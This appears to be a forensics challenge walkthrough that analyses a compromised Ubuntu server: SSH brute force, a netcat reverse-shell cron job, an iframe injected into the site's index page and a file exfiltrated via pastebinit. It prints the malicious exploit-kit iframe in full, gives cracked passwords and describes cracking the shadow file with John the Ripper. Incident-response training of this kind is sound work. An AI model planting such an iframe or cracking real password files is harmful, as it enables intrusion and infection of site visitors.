We'll address each question in order using the SIFT workstation VM.
Mounting the Image on SIFT or Kali:
- Place the image in your /cases directory
- sudo su # become root
- ewfmount /cases/BobsFamousChiliCase_Logical.E01 /mnt/ewf_mount1/ # Mount the E01 as a RAW in /mnt/ewf_mount1/
- mount -t ext4 -o ro,loop,noexec,noload /mnt/ewf_mount1/ewf1 /mnt/e01 # Mount the RAW in /mnt/e01, use "noload" option to fix filesystem
Questions:
1. Verify SHA1 Checksum of the image provided:
This is easily done in most Linux distributions out of the box with the "sha1sum" tool. You could also do this on your Mac terminal easily using "shasum", or on Windows Powershell using "Get-FileHash -Algorithm SHA1 C:\path\to\file.ext".
Answer: c67d36f2a8851fdf9bb3de9fd0441b619e40c070
2. Through what protocol was this system compromised?
Despite this ambiguity this is pretty easy to figure out. With Linux intrusion cases I start in "/var/log" (where most logs are stored by default).
A directory listing of the /var/log on this system shows that the logs are very small in size, indicating this system is likely lightly used. This should make it easier to identify malicious activity because we don't have to sift through gigabytes of old log data.
Auth.log is a logical first log to review as it contains all the authentication logs including SSHD and user group changes. A quick word count by lines shows this is a very short log and something we can review line by line in a minute.
A quick grep for "Accepted" and "Failed" logins (command grep -E "Failed|Accepted" auth.log - Breakdown: -E is extended regex which allows us to amongst other things provide multiple pipe delimited patterns) shows us what we need. There are a series of RFC1918/local logins followed by internet based failed logins, and finally a root login from 5.101.65.141 at 20:03:45.
The answer to this question is simply "SSH".
3. What distribution and version is this system?
Two of the most common initial Linux enumeration commands are "cat /etc/issue" and "uname -a" which generally pull back the distribution version, kernel version, hostname, architecture, etc. The "uname" command calls back to a binary on disk, but /etc/issue is a file on disk we can easily read from the image.
Answer: Ubuntu 14.04.4 LTS
4. What country is the attacker's IP address from?
In question 2 we identified 5.101.65.141 as the attacking IP address. There are tons of online resources we could use to identify the country this IP is assigned to (robtex, domaintools, etc) but pretty much all of these will use whois on the backend. Quickest way is to simply "whois 5.101.65.141".
Answer: It's always Russia, am I doing this right? 😐
5. What time was the attacker account created in UTC (XX:XX:XX format)?
This is another one we can find easily in the auth.log. User "radvlad" was created on "Jun 1 20:11:03"
Answer: Jun 1 20:11:03
6. What port is the protocol used to compromise the system set on?
SSH stores it's configuration in /etc/ssh/sshd_config. Let's search that file for port (note: the -i after Grep makes the pattern case insensitive, usually a good idea when you know a keyword but not the case).
Answer: 422
7. How many different countries are represented by the IP's in the web server log?
Ok here's the first one where we get to have a little command line fun. Apache2 is installed which stores its logs in /var/log/apache2. The "accesss.log" is clearly the one that is being asked about as it shows who visited and made requests on the web server. We'll need to use some coreutils to quickly find this answer:
First thing I'd do is look at a "tail" of the log to see the format:
Boom, very first item is the IP address. Lets see how many unique IP's there are using the cut command to show us only the text that appears before the first space (cut -d" " -f1), sort to put the resulting IP's in order, then uniq to show us only unique IP's in that list:
We can disregard the ::1 and the RFC1918 address, so that leaves us 7 unique IP's. Originally when I created this challenge I did something cool like the below:
But as you can see I got some "connection refused" items and I'm generally not confident with the result. Sometimes we have to follow the "KISS" model and just use a known quantity like MXToolbox ( https://mxtoolbox.com/BulkLookup.aspx ).
Answer: 6
8. What date and time (directly copy/paste from log) did the attacker first log in?
Another one we've already answered via auth.log.
Answer: Jun 1 20:03:45
9. What is the IP that failed to log in directly before the attacker successfully logged in?
Another simple auth.log request. Now this one I could see someone contesting as the "attacker IP" technically failed to login directly before they succeeded in guessing the password. I was looking for the other IP that tried to login right before.
Answer: 107.150.94.4
10. What day of the week does the attacker's cron job fire?
User cron files are located in "/var/spool/cron/crontabs". In this folder we see one file "root". In this text file we see just one cron job defined:
Aha! The jerk set a cron job to use netcat to send a reverse shell to his IP address on a recurring basis. Quick review of the cron format (image credit: https://en.wikipedia.org/wiki/Cron) shows that the command is set to run the 30th minute, on the 17th hour, on any day of any month, but only on Mondays.
Answer: Monday
11. What is the name of the user account the attacker made?
Another we already answered: radvlad
Answer: radvlad
12. The attacker set a password for the account that they made, what is it set to?
Woot, we get to use our basic attacker toolkit now to crack some passwords for #12-13. John the ripper is the classic choice for cracking the shadow file from a Linux box and would be my choice.
You can quite simply run "john ./etc/shadow" from the root of the mounted image to start cracking passwords on the box. These passwords are thankfully quite simple and can be cracked with the default profile in John, however if you want to crack them FAST (like if you were in a CTF) use a wordlist such as RockYou.txt as a starting point. Note that most real CTF's ensure passwords aren't in RockYou, CrackStation, etc to make it more difficult and require some thought on your part.
I first ran john with the default profile and it quickly found the "radvlad" password but was hanging on the others (we're only asked to get the root and radvlad passwords, not necessarily bob). I decided to download rockyou.txt and see if that worked.
Answer: 1qaz2wsx
13. The attacker changed the root password, what is it set to?
See the screenshots for #12.
Answer: asdzxc
14. What addition to the website is causing users to get redirected to malicious pages?
We've already learned a lot about this system that helps us start this question. We know the server is running Apache2, so we can expect to see the webroot in /var/www by default. We know the times the attacker was logged in, and we know he was logged in as root.
Couple of different paths to follow to fully answer this one:
Root command line history: Lets verify if there are any hints in the .bash_history for the root user.
Well this is quite obvious, the attacker used echo to append an iframe to a weird looking link to the index.html file. He also appreciated the 1337 password that was set for the root password and saw fit to taunt the administrators, what a scalawag!
Let's verify this by doing a tail on the index.html file in /var/www/html.
Answer: <iframe src="http://anecdote.roobaroo.org/xegblh2.html"></iframe>
15. What exploit kit is the link associated with?
This question is actually a little harder than it was when the challenge was fresh. At the time the challenge was made this was an actively tracked EK link in sites like Malware Domain List. Even still, a quick Google search for the full URL will get you the answer.
Answer: Angler
16. What is the sha256 hash of the first file the attacker added to /var/www/html?
There are a couple of .exe files in the /var/www/html. The question here is which was added first? The default behavior of the "ls" command will show you the last modified time of the file. This isn't that useful in this case because one of the files was last modified back in April. The last modified time wasn't updated when the files were moved here. To overcome this lets take a look at the output of the "stat" command for both files, then do a sha256sum for both files.
We can see the "setup.exe" has an access and metadata change time of 00:21:39 which is earlier than the 00:21:58/00:22:13 of the setup_20001.exe file.
Answer: 94ebd2af4d1e1e4d01c4806cf1d94c44d24014da0703424f864e5e8cd3396fb9 setup.exe
17. What is the ClamAV name for the second file the attacker added to /var/www/html?
This is as simple as doing a Virustotal.com search for the hash of the setup_20001.exe file. Alternately you could install ClamAV and run it against the file, but there's no guarantee that would still be accurate so long after this challenge was created.
Answer: Win.Trojan.691128-1
18. What file was exfiltrated? && 19. What command line tool did the attacker use to exfiltrate the file?
We saw that the attacker apparently didn't clean up the .bash_history for the root user, so lets head back there.
Woot, there's the answer to both 18 and 19. The user uploaded the "Secret-Recipe-Chili" to Pastebin.com using the "pastebinit" tool.
Answer 18: Secret-Recipe-Chili
Answer 19: Pastebinit
20. BONUS: URL for the exfiltrated file?
I honestly don't think this one is possible to answer anymore. I can't find the paste. It must have been cycled out for more interesting pastes :-).
That's it! Hope this helps someone. Please leave me feedback if you have better ways to work the case, ideas for new comedy themed DFIR practice material, or any questions.
